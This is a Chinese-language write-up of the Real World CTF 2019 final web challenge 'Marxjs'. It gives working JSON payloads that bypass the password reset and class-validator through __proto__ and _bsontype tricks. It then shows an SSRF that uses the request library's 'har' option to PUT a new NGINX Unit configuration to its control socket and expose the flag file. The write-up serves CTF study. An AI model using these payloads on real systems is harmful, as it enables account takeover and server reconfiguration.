Realword Final 2019 Marxjs 学习

  ctf

0x01MarJs

虽然没实地参加rw线下赛,但是将题目进行依次研究也是挺好的,因此结合wupco师傅的分析,来对这道题目进行一个分析和学习。

https://github.com/christasa/CTF-WEB/tree/master/RW2019:Marxjs

我们拿到附件之后,对附件进行一下基本的分析,共有3中功能,登陆、注册和找回密码,同时因为题目给了附件,因此我们可以看到mongo中的表的名字和管理员账号的用户名,但是看不到密码


可以看到管理员的用户名为admin@realworldctf.com,因此根据wupco师傅的分析,class-validator中加入原型__proto__既可以绕过对邮箱的检查

同时在Mongo的bson和nodemailer代码中,bson在输入到findone的内容为空的时候会自动搜寻到第一行的数据,也就是第一个用户。而nodemailer中在解析中只要obejct中存在address这个属性,那么邮件就会使用这个address地址

因此最后使用的绕过resetpass的payload为

{"email":{"address":"email","_bsontype":"aa"},"__proto__":{}}


登陆之后,由附件得到能够访问到admin页面

改页面作用为发送HEAD请求来辨别服务器是否存活,具体的代码为

@AdminRequired()
  @ValidateBody(Url)
  async checkstatus(ctx: Context) {
    await rp.head(ctx.request.body.url).then(() => { this.status = true; },
        () => { this.status = false; } );
    return new HttpResponseRedirect(this.status ? '/admin?alive=true' : '/admin?error=true');
  }

同时文章中提出了对象har中能够改变request的请求方法,在传入HEAD参数中会检查请求的body是否有效

在fuzz的过程中发现在传入的json数据{"url":"example.com"}中加入"__proto__":{"a":"b"}即可以绕过class-validator对URL的检查。之后由附件中的run.sh得到一条命令

curl -X PUT --data-binary @unit.config.json --unix-socket /var/run/control.unit.sock http://localhost/config/

经过查询之后发现能够使用unit来读取文件,同时还能指定使用的语言,类似如下https://unit.nginx.org/configuration/#

查看题目中的配置情况

因此需要将flag文件映射到站点上面,构造出payload

{
  "listeners": {
    "0.0.0.0:13333": {
      "pass": "applications/realworldcms"
    }
  },
  "applications":{
    "realworldcms":{
      "type": "php",
      "root": "/",
      "index": "flag"
    }
  }
}

因此需要修改unit.sock,https://unit.nginx.org/configuration/#configuration-mgmt从里面可以看出可以使用如下方法修改

使用curl命令进行修改尝试

curl -X PUT --data-binary @exp.json --unix-socket /var/run/control.unit.sock http://localhost/config

成功修改了页面。因此只需要使用request发送PUT方法将/var/run/control.unit.sock地址的方法改写即可。文章中使用har对象来覆盖请求方法。传入查询参数{"uri":"http://localhost:9000","har":{"method":"PUT" }}查看断点,在request/lib/har.js中查看har中的对象将会通过prep函数格式化到req对象中,之后从req对象中提取出各个参数,同时har中的method便会被覆盖

最后函数将option对象return给request方法

成功修改请求方式。下一步便是通过body传入payload,通过阅读源码,发现request请求通过body参数传入值。但是HEAD在进行请求前会检查是否含有body,如果含有body参数则会报错退出。在此处有一个小坑,当传入的数据类型为application/json时,unit不会对其进行解析,在har.js文件突破点如下

function test (type) {
    return req.postData.mimeType.indexOf(type) === 0
  }
  if (test('application/x-www-form-urlencoded')) {
    options.form = req.postData.paramsObj
  } else if (test('application/json')) {
    if (req.postData.jsonObj) {
      options.body = req.postData.jsonObj
      options.json = true
    }
  } else if (test('multipart/form-data')) {
    options.formData = {}

    req.postData.params.forEach(function (param) {
      var attachment = {}

      if (!param.fileName && !param.contentType) {
        options.formData[param.name] = param.value
        return
      }

      // attempt to read from disk!
      if (param.fileName && !param.value) {
        attachment.value = fs.createReadStream(param.fileName)
      } else if (param.value) {
        attachment.value = param.value
      }

      if (param.fileName) {
        attachment.options = {
          filename: param.fileName,
          contentType: param.contentType ? param.contentType : null
        }
      }

      options.formData[param.name] = attachment
    })
  } else {
    if (req.postData.text) {
      options.body = req.postData.text
    }
  }

改段代码判断了传入数据的类型,虽然我们需要的类型为application/x-www-form-urlencoded,但if的判断激昂返回的数据强制转换为一个对象,同时还会进行url编码,因此需要将代码调入到最后的else判断中去,将option的body赋值成payload并且返回该对象,最后构造出来的payload为

{"uri":"http://localhost:9000","har":{"method":"PUT","postData":{"__proto__":{"text":"{\"listeners\": {\"0.0.0.0:13333\": {\"pass\": \"applications/realworldcms\"}},\"applications\":{\"realworldcms\":{\"type\": \"php\",\"root\": \"/\",\"index\": \"flag\"}}}"}}}}

最后由request文档中对unit的调用

发送的post请求为

{"url":{"uri":"http://unix:/var/run/control.unit.sock:/config/","har":{"method":"PUT","postData":{"__proto__":{"text":"{\"listeners\": {\"0.0.0.0:13333\": {\"pass\": \"applications/realworldcms\"}},\"applications\":{\"realworldcms\":{\"type\": \"php\",\"root\": \"/\",\"index\": \"flag\"}}}"}}}},"__proto__":{}}

 


访问url:13333获得flag。

0xFF Reference